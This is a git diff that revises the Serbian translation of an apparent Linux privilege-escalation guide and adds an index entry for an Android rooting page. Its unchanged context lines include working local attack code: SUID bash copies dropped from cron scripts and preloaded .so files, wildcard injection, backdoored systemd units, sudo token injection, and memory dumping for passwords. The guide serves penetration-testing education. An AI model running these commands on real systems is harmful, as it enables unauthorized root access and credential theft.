diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 0c1f23d74..fa7568927 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -96,6 +96,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) + - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index ea8b04ddb..382d9f065 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,11 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## System Information +## Sistem informacije -### OS info +### OS informacije -Hajde da počnemo da stičemo neka saznanja o operativnom sistemu koji se izvršava +Hajde da počnemo da stičemo neka saznanja o operativnom sistemu koji se pokreće ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -156,9 +156,9 @@ Preporučuje se da ručno proverite verziju sumnjivijeg instaliranog softvera. dpkg -l #Debian rpm -qa #Centos ``` -Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite da li je instaliran zastareo i ranjiv softver. +Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite zastarele i ranjive softvere instalirane unutar mašine. -> [!NOTE] > _Imajte na umu da će ovi komandi prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuje korišćenje nekih aplikacija poput OpenVAS-a ili sličnih koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate eksploite._ +> [!NOTE] > _Imajte na umu da će ovi komandi prikazati mnogo informacija koje će većinom biti beskorisne, stoga se preporučuju neki alati poput OpenVAS-a ili sličnih koji će proveriti da li je neka instalirana verzija softvera ranjiva na poznate eksploite._ ## Procesi @@ -168,7 +168,7 @@ ps aux ps -ef top -n 1 ``` -Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proverom `--inspect` parametra unutar komandne linije procesa.\ +Uvek proverite moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](electron-cef-chromium-debugger-abuse.md). **Linpeas** to detektuje proverom `--inspect` parametra unutar komandne linije procesa.\ Takođe **proverite svoje privilegije nad binarnim datotekama procesa**, možda možete prepisati nekoga. ### Praćenje procesa @@ -182,13 +182,13 @@ Obično će vam biti potrebne **root privilegije** da pročitate memoriju proces Međutim, zapamtite da **kao običan korisnik možete čitati memoriju procesa koje posedujete**. > [!WARNING] -> Imajte na umu da većina mašina danas **ne dozvoljava ptrace po defaultu**, što znači da ne možete dumpovati druge procese koji pripadaju vašem korisniku bez privilegija. +> Imajte na umu da većina mašina danas **ne dozvoljava ptrace po defaultu**, što znači da ne možete dumpovati druge procese koji pripadaju vašem neprivilegovanom korisniku. > > Datoteka _**/proc/sys/kernel/yama/ptrace_scope**_ kontroliše pristupnost ptrace: > > - **kernel.yama.ptrace_scope = 0**: svi procesi mogu biti debagovani, sve dok imaju isti uid. Ovo je klasičan način na koji je ptracing radio. > - **kernel.yama.ptrace_scope = 1**: samo roditeljski proces može biti debagovan. -> - **kernel.yama.ptrace_scope = 2**: samo admin može koristiti ptrace, jer zahteva CAP_SYS_PTRACE sposobnost. +> - **kernel.yama.ptrace_scope = 2**: samo administrator može koristiti ptrace, jer zahteva CAP_SYS_PTRACE sposobnost. > - **kernel.yama.ptrace_scope = 3**: Niti jedan proces ne može biti praćen sa ptrace. Kada se postavi, potreban je restart da bi se ponovo omogućio ptracing. #### GDB @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske oblasti čitljive** i njihovi ofseti. Ove informacije koristimo da **pretražimo mem fajl i izbacimo sve čitljive oblasti** u fajl. +Za dati ID procesa, **maps prikazuje kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe prikazuje **dozvole svake mapirane oblasti**. **Mem** pseudo fajl **izlaže samu memoriju procesa**. Iz **maps** fajla znamo koje su **oblasti memorije čitljive** i njihovi ofseti. Ove informacije koristimo da **pretražimo mem fajl i prebacimo sve čitljive oblasti** u fajl. ```bash procdump() ( @@ -270,13 +270,13 @@ Za dumpovanje memorije procesa možete koristiti: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti zahteve za root i dumpovati proces koji je u vašem vlasništvu -- Skripta A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban) +- Skripta A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (potreban je root) ### Akreditivi iz memorije procesa #### Ručni primer -Ako otkrijete da je proces autentifikacije pokrenut: +Ako otkrijete da se proces autentifikacije izvršava: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator @@ -290,12 +290,12 @@ strings *.dump | grep -i password Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti kredencijale u čistom tekstu iz memorije** i iz nekih **poznatih fajlova**. Zahteva root privilegije da bi pravilno radio. -| Karakteristika | Ime procesa | +| Karakteristika | Ime procesa | | ------------------------------------------------- | -------------------- | | GDM lozinka (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Aktivne FTP veze) | vsftpd | +| VSFTPd (Aktivne FTP konekcije) | vsftpd | | Apache2 (Aktivne HTTP Basic Auth sesije) | apache2 | | OpenSSH (Aktivne SSH sesije - Sudo korišćenje) | sshd: | @@ -336,11 +336,11 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron korišćenje skripte sa džokerom (Wildcard Injection) -Ako skripta koju izvršava root ima “**\***” unutar komande, mogli biste to iskoristiti da napravite neočekivane stvari (kao što je privesc). Primer: +Ako skripta koju izvršava root sadrži “**\***” unutar komande, mogli biste to iskoristiti da napravite neočekivane stvari (kao što je privesc). Primer: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ako je džoker prethodio putanji kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** +**Ako je džoker prethodjen putanjom kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** Pročitajte sledeću stranicu za više trikova sa džokerima: @@ -348,7 +348,7 @@ Pročitajte sledeću stranicu za više trikova sa džokerima: wildcards-spare-tricks.md {{#endref}} -### Prepisivanje cron skripte i symlink +### Prepisivanje cron skripte i simbolički link Ako **možete da modifikujete cron skriptu** koju izvršava root, možete vrlo lako dobiti shell: ```bash @@ -383,9 +383,9 @@ Moguće je kreirati cron posao **stavljanjem povratnog znaka nakon komentara** ( Proverite da li možete da pišete u bilo koju `.service` datoteku, ako možete, **možete je modifikovati** tako da **izvršava** vaš **backdoor kada** se usluga **pokrene**, **ponovo pokrene** ili **zaustavi** (možda ćete morati da sačekate da se mašina ponovo pokrene).\ Na primer, kreirajte svoj backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`** -### Writable servisni binarni fajlovi +### Writable servisne binarne datoteke -Imajte na umu da ako imate **dozvole za pisanje nad binarnim fajlovima koje izvršavaju usluge**, možete ih promeniti za backdoor-e tako da kada se usluge ponovo izvrše, backdoor-i će biti izvršeni. +Imajte na umu da ako imate **dozvole za pisanje nad binarnim datotekama koje izvršavaju usluge**, možete ih promeniti za backdoor-e tako da kada se usluge ponovo izvrše, backdoor-i će biti izvršeni. ### systemd PUTANJA - Relativne putanje @@ -399,13 +399,13 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Zatim, kreirajte **izvršni** fajl sa **istim imenom kao relativna putanja binarnog fajla** unutar systemd PATH foldera u koji možete pisati, i kada se od servisa zatraži da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaša **backdoor će biti izvršena** (korisnici bez privilegija obično ne mogu da pokreću/zaustavljaju servise, ali proverite da li možete koristiti `sudo -l`). +Zatim, kreirajte **izvršni** fajl sa **istim imenom kao relativna putanja binarnog fajla** unutar systemd PATH foldera u koji možete pisati, i kada se od usluge zatraži da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaša **zadnja vrata će biti izvršena** (korisnici bez privilegija obično ne mogu da pokreću/zaustavljaju usluge, ali proverite da li možete koristiti `sudo -l`). -**Saznajte više o servisima sa `man systemd.service`.** +**Saznajte više o uslugama sa `man systemd.service`.** ## **Tajmeri** -**Tajmeri** su systemd jedinice čija imena se završavaju sa `**.timer**` koje kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za događaje kalendarskog vremena i monotonskog vremena i mogu se izvršavati asinkrono. +**Tajmeri** su systemd jedinice čija imena se završavaju sa `**.timer**` koje kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za događaje kalendarskog vremena i monotonskog vremena i mogu se izvršavati asinhrono. Možete nabrojati sve tajmere sa: ```bash @@ -419,12 +419,12 @@ Unit=backdoor.service ``` U dokumentaciji možete pročitati šta je jedinica: -> Jedinica koja se aktivira kada ovaj tajmer istekne. Argument je naziv jedinice, čija sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano postavlja servis koji ima isto ime kao jedinica tajmera, osim sufiksa. (Pogledajte iznad.) Preporučuje se da naziv jedinice koja se aktivira i naziv jedinice tajmera budu identični, osim sufiksa. +> Jedinica koja se aktivira kada ovaj tajmer istekne. Argument je naziv jedinice, čija sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano odgovara servisu koji ima isto ime kao jedinica tajmera, osim sufiksa. (Vidi iznad.) Preporučuje se da naziv jedinice koja se aktivira i naziv jedinice tajmera budu identični, osim sufiksa. Dakle, da biste zloupotrebili ovu dozvolu, trebali biste: - Pronaći neku systemd jedinicu (kao što je `.service`) koja **izvršava zapisivu binarnu datoteku** -- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **zapisive privilegije** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program) +- Pronaći neku systemd jedinicu koja **izvršava relativnu putanju** i imate **dozvole za pisanje** nad **systemd PUTANJOM** (da biste se pretvarali da ste taj izvršni program) **Saznajte više o tajmerima sa `man systemd.timer`.** @@ -435,30 +435,30 @@ Da biste omogućili tajmer, potrebne su vam root privilegije i da izvršite: sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Napomena: **tajmer** se **aktivira** kreiranjem symlink-a ka njemu na `/etc/systemd/system/.wants/.timer` +Napomena **tajmer** je **aktiviran** kreiranjem symlink-a ka njemu na `/etc/systemd/system/.wants/.timer` ## Sockets -Unix domena soketa (UDS) omogućava **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međumašinsku komunikaciju i postavljaju se putem `.socket` datoteka. +Unix domena soketi (UDS) omogućavaju **komunikaciju procesa** na istim ili različitim mašinama unutar klijent-server modela. Koriste standardne Unix deskriptore za međumašinsku komunikaciju i postavljaju se kroz `.socket` datoteke. Soketi se mogu konfigurisati koristeći `.socket` datoteke. -**Saznajte više o soketima pomoću `man systemd.socket`.** Unutar ove datoteke može se konfigurisati nekoliko interesantnih parametara: +**Saznajte više o soketima sa `man systemd.socket`.** Unutar ove datoteke, može se konfigurisati nekoliko interesantnih parametara: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije su različite, ali se koristi sažetak da **naznači gde će slušati** soket (putanja AF_UNIX soket datoteke, IPv4/6 i/ili broj porta za slušanje, itd.) -- `Accept`: Prihvaća boolean argument. Ako je **true**, **instanca servisa se pokreće za svaku dolaznu konekciju** i samo soket konekcije se prosleđuje. Ako je **false**, svi slušajući soketi se **prosleđuju pokrenutoj servisnoj jedinici**, i samo jedna servisna jedinica se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFOs gde jedna servisna jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Iz razloga performansi, preporučuje se pisanje novih demona samo na način koji je pogodan za `Accept=no`. +- `Accept`: Prihvaća boolean argument. Ako je **true**, **instanca servisa se pokreće za svaku dolaznu konekciju** i samo soket konekcije se prosleđuje. Ako je **false**, svi slušajući soketi se **prosleđuju pokrenutoj servisnoj jedinici**, i samo jedna servisna jedinica se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFOs gde jedna servisna jedinica bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano je false**. Zbog performansi, preporučuje se pisanje novih demona samo na način koji je pogodan za `Accept=no`. - `ExecStartPre`, `ExecStartPost`: Prihvaća jedan ili više komandnih redova, koji se **izvršavaju pre** ili **posle** kreiranja i vezivanja slušajućih **soketa**/FIFOs, redom. Prvi token komandnog reda mora biti apsolutna datoteka, a zatim slede argumenti za proces. - `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** zatvaranja i uklanjanja slušajućih **soketa**/FIFOs, redom. - `Service`: Specifikuje naziv **servisne** jedinice **koju treba aktivirati** na **dolaznom saobraćaju**. Ova postavka je dozvoljena samo za sokete sa Accept=no. Podrazumevano je na servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo biti potrebno koristiti ovu opciju. ### Writable .socket files -Ako pronađete **writable** `.socket` datoteku, možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, **verovatno ćete morati da sačekate da se mašina ponovo pokrene.**\ -_Napomena: sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_ +Ako pronađete **writable** `.socket` datoteku možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što soket bude kreiran. Stoga, verovatno ćete **morati da sačekate da se mašina ponovo pokrene.**\ +_Napomena da sistem mora koristiti tu konfiguraciju soket datoteke ili backdoor neće biti izvršen_ ### Writable sockets -Ako **identifikujete bilo koji writable soket** (_sada govorimo o Unix soketima, a ne o konfiguracionim `.socket` datotekama_), tada **možete komunicirati** sa tim soketom i možda iskoristiti ranjivost. +Ako **identifikujete bilo koji writable soket** (_sada govorimo o Unix soketima, a ne o konfiguracionim `.socket` datotekama_), onda **možete komunicirati** sa tim soketom i možda iskoristiti ranjivost. ### Enumerate Unix Sockets ```bash @@ -546,7 +546,7 @@ docker-security/ ## Containerd (ctr) eskalacija privilegija -Ako otkrijete da možete koristiti **`ctr`** komandu, pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: +Ako otkrijete da možete koristiti **`ctr`** komandu, pročitajte sledeću stranicu jer **možda možete zloupotrebiti to za eskalaciju privilegija**: {{#ref}} containerd-ctr-privilege-escalation.md @@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** eskalacija privilegija -Ako otkrijete da možete koristiti **`runc`** komandu, pročitajte sledeću stranicu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: +Ako otkrijete da možete koristiti **`runc`** komandu, pročitajte sledeću stranicu jer **možda možete zloupotrebiti to za eskalaciju privilegija**: {{#ref}} runc-privilege-escalation.md @@ -564,13 +564,13 @@ runc-privilege-escalation.md D-Bus je sofisticirani **sistem međuprocesne komunikacije (IPC)** koji omogućava aplikacijama da efikasno komuniciraju i dele podatke. Dizajniran sa modernim Linux sistemom na umu, nudi robusnu strukturu za različite oblike komunikacije aplikacija. -Sistem je svestran, podržava osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **poboljšane UNIX domen sokete**. Pored toga, pomaže u emitovanju događaja ili signala, olakšavajući besprekornu integraciju među komponentama sistema. Na primer, signal iz Bluetooth demona o dolaznom pozivu može naterati muzički plejer da utiša, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za uslugama i pozive metoda između aplikacija, pojednostavljujući procese koji su tradicionalno bili složeni. +Sistem je svestran, podržavajući osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **poboljšane UNIX domen sokete**. Pored toga, pomaže u emitovanju događaja ili signala, olakšavajući besprekornu integraciju među komponentama sistema. Na primer, signal iz Bluetooth demona o dolaznom pozivu može naterati muzički plejer da utiša, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za uslugama i pozive metoda između aplikacija, pojednostavljujući procese koji su tradicionalno bili složeni. D-Bus funkcioniše na **modelu dozvoli/odbij** i upravlja dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz eksploataciju ovih dozvola. -Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno opisuje dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. +Primer takve politike u `/etc/dbus-1/system.d/wpa_supplicant.conf` je dat, detaljno opisujući dozvole za root korisnika da poseduje, šalje i prima poruke od `fi.w1.wpa_supplicant1`. -Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok se "podrazumevane" kontekst politike primenjuju na sve što nije pokriveno drugim specifičnim politikama. +Politike bez specificiranog korisnika ili grupe primenjuju se univerzalno, dok "podrazumevane" kontekst politike važe za sve što nije pokriveno drugim specifičnim politikama. ```xml @@ -612,7 +612,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Otvoreni portovi +### Open ports Uvek proverite mrežne usluge koje rade na mašini sa kojom niste mogli da komunicirate pre nego što joj pristupite: ```bash @@ -666,7 +666,7 @@ interesting-groups-linux-pe/ ### Clipboard -Proverite da li se nešto zanimljivo nalazi unutar clipboard-a (ako je moguće) +Proverite da li se nešto zanimljivo nalazi u clipboard-u (ako je moguće) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -687,18 +687,18 @@ Ako **znate neku lozinku** okruženja **pokušajte da se prijavite kao svaki kor ### Su Brute -Ako vam nije stalo do pravljenja velike buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force korisnike. +Ako vam nije stalo do pravljenja velike buke i `su` i `timeout` binarni fajlovi su prisutni na računaru, možete pokušati da brute-force-ujete korisnika koristeći [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) sa `-a` parametrom takođe pokušava da brute-force-uje korisnike. -## Zloupotrebe Writable PATH +## Zloupotrebe Writable PATH-a ### $PATH -Ako otkrijete da možete **pisati unutar neke fascikle $PATH** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor unutar writable fascikle** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** vaše writable fascikle u $PATH. +Ako otkrijete da možete **pisati unutar neke fascikle $PATH-a** možda ćete moći da eskalirate privilegije tako što ćete **napraviti backdoor unutar pisive fascikle** sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja **nije učitana iz fascikle koja se nalazi pre** vaše pisive fascikle u $PATH-u. ### SUDO i SUID -Možda će vam biti dozvoljeno da izvršite neku komandu koristeći sudo ili bi mogli imati suid bit. Proverite to koristeći: +Možda ćete biti u mogućnosti da izvršite neku komandu koristeći sudo ili bi mogli imati suid bit. Proverite to koristeći: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries @@ -780,14 +780,14 @@ Zatim, kada pozovete suid binarni fajl, ova funkcija će biti izvršena ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** promenljiva okruženja se koristi za određivanje jedne ili više deljenih biblioteka (.so fajlova) koje će loader učitati pre svih drugih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao preloading biblioteke. +Promenljiva okruženja **LD_PRELOAD** se koristi za određivanje jedne ili više deljenih biblioteka (.so fajlova) koje će loader učitati pre svih drugih, uključujući standardnu C biblioteku (`libc.so`). Ovaj proces je poznat kao preloading biblioteke. Međutim, kako bi se održala sigurnost sistema i sprečilo korišćenje ove funkcije, posebno sa **suid/sgid** izvršnim fajlovima, sistem nameće određene uslove: -- Loader zanemaruje **LD_PRELOAD** za izvršne fajlove gde stvarni korisnički ID (_ruid_) ne odgovara efektivnom korisničkom ID-u (_euid_). +- Loader zanemaruje **LD_PRELOAD** za izvršne fajlove gde stvarni korisnički ID (_ruid_) ne odgovara efektivnom korisničkom ID (_euid_). - Za izvršne fajlove sa suid/sgid, samo biblioteke u standardnim putanjama koje su takođe suid/sgid se prelažu. -Povećanje privilegija može se dogoditi ako imate mogućnost da izvršavate komande sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da **LD_PRELOAD** promenljiva okruženja opstane i bude prepoznata čak i kada se komande izvršavaju sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. +Povećanje privilegija može se dogoditi ako imate mogućnost da izvršavate komande sa `sudo` i izlaz `sudo -l` uključuje izjavu **env_keep+=LD_PRELOAD**. Ova konfiguracija omogućava da promenljiva okruženja **LD_PRELOAD** opstane i bude prepoznata čak i kada se komande izvršavaju sa `sudo`, što potencijalno može dovesti do izvršavanja proizvoljnog koda sa povišenim privilegijama. ``` Defaults env_keep += LD_PRELOAD ``` @@ -814,7 +814,7 @@ Konačno, **escalate privileges** pokretanjem sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env varijablu jer kontroliše putanju gde će se pretraživati biblioteke. +> Sličan privesc može biti zloupotrebljen ako napadač kontroliše **LD_LIBRARY_PATH** env varijablu jer kontroliše putanju gde će se tražiti biblioteke. ```c #include #include @@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa proveriti da li pravilno učitava **.so** fajlove. Ovo se može proveriti pokretanjem sledeće komande: +Kada naiđete na binarni fajl sa **SUID** dozvolama koji deluje neobično, dobra je praksa da proverite da li pravilno učitava **.so** fajlove. To se može proveriti pokretanjem sledeće komande: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -853,7 +853,7 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulišući dozvolama datoteka i izvršavajući shell sa povišenim privilegijama. +Ovaj kod, kada se kompajlira i izvrši, ima za cilj da poveća privilegije manipulisanjem dozvolama datoteka i izvršavanjem shel-a sa povišenim privilegijama. Kompajlirajte gornji C fajl u deljeni objekat (.so) fajl sa: ```bash @@ -861,7 +861,7 @@ gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` Konačno, pokretanje pogođenog SUID binarnog fajla trebalo bi da aktivira eksploataciju, omogućavajući potencijalni kompromis sistema. -## Hijacking deljenih objekata +## Uzimanje u obzir deljenih objekata ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Sada kada smo pronašli SUID binarni fajl koji učitava biblioteku iz fascikle u kojoj možemo pisati, hajde da kreiramo biblioteku u toj fascikli sa potrebnim imenom: +Sada kada smo pronašli SUID binarni fajl koji učitava biblioteku iz foldera gde možemo pisati, hajde da kreiramo biblioteku u tom folderu sa potrebnim imenom: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -892,7 +892,7 @@ to znači da biblioteka koju ste generisali treba da ima funkciju pod nazivom `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) je pažljivo odabran spisak Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo injektovati argumente** u komandu. +[**GTFOBins**](https://gtfobins.github.io) je pažljivo odabran spisak Unix binarnih datoteka koje napadač može iskoristiti da zaobiđe lokalna bezbednosna ograničenja. [**GTFOArgs**](https://gtfoargs.github.io/) je isto, ali za slučajeve kada možete **samo da injektujete argumente** u komandu. Projekat prikuplja legitimne funkcije Unix binarnih datoteka koje se mogu zloupotrebiti za izlazak iz ograničenih ljuski, eskalaciju ili održavanje povišenih privilegija, prenos datoteka, pokretanje bind i reverse ljuski, i olakšavanje drugih post-exploitation zadataka. @@ -946,8 +946,8 @@ sudo su ``` ### /var/run/sudo/ts/\ -Ako imate **dozvole za pisanje** u folderu ili na bilo kojem od kreiranih fajlova unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ -Na primer, ako možete da prepišete fajl _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku tako što ćete: +Ako imate **dozvole za pisanje** u folderu ili na bilo kojoj od kreiranih datoteka unutar foldera, možete koristiti binarni [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) da **kreirate sudo token za korisnika i PID**.\ +Na primer, ako možete da prepišete datoteku _/var/run/sudo/ts/sampleuser_ i imate shell kao taj korisnik sa PID 1234, možete **dobiti sudo privilegije** bez potrebe da znate lozinku radeći: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` @@ -983,7 +983,7 @@ Ako znate da se **korisnik obično povezuje na mašinu i koristi `sudo`** za esk Imajte na umu da ako korisnik koristi drugačiji shell (ne bash) bićete u obavezi da modifikujete druge fajlove kako biste dodali novi put. Na primer, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Možete pronaći još jedan primer u [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ili pokrenuti nešto poput: +Ili pokretanjem nečega poput: ```bash cat >/tmp/sudo </dev/null ## Otvorene shell sesije U **starim verzijama** možete **preuzeti** neku **shell** sesiju drugog korisnika (**root**).\ -U **najnovijim verzijama** moći ćete da **se povežete** samo na screen sesije **samo svog korisnika**. Međutim, mogli biste pronaći **zanimljive informacije unutar sesije**. +U **najnovijim verzijama** moći ćete da **se povežete** samo na screen sesije **svojeg korisnika**. Međutim, mogli biste pronaći **zanimljive informacije unutar sesije**. ### preuzimanje screen sesija @@ -1117,16 +1117,16 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Proverite **Valentine box from HTB** za primer. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Sve SSL i SSH ključevi generisani na Debian baziranim sistemima (Ubuntu, Kubuntu, itd) između septembra 2006. i 13. maja 2008. mogu biti pogođeni ovim bugom.\ -Ovaj bug se javlja prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32,768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Možete pronaći izračunate mogućnosti ovde: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Ovaj bug se javlja prilikom kreiranja novog ssh ključa u tim OS, jer **je bilo moguće samo 32.768 varijacija**. To znači da se sve mogućnosti mogu izračunati i **imajući ssh javni ključ možete tražiti odgovarajući privatni ključ**. Izračunate mogućnosti možete pronaći ovde: 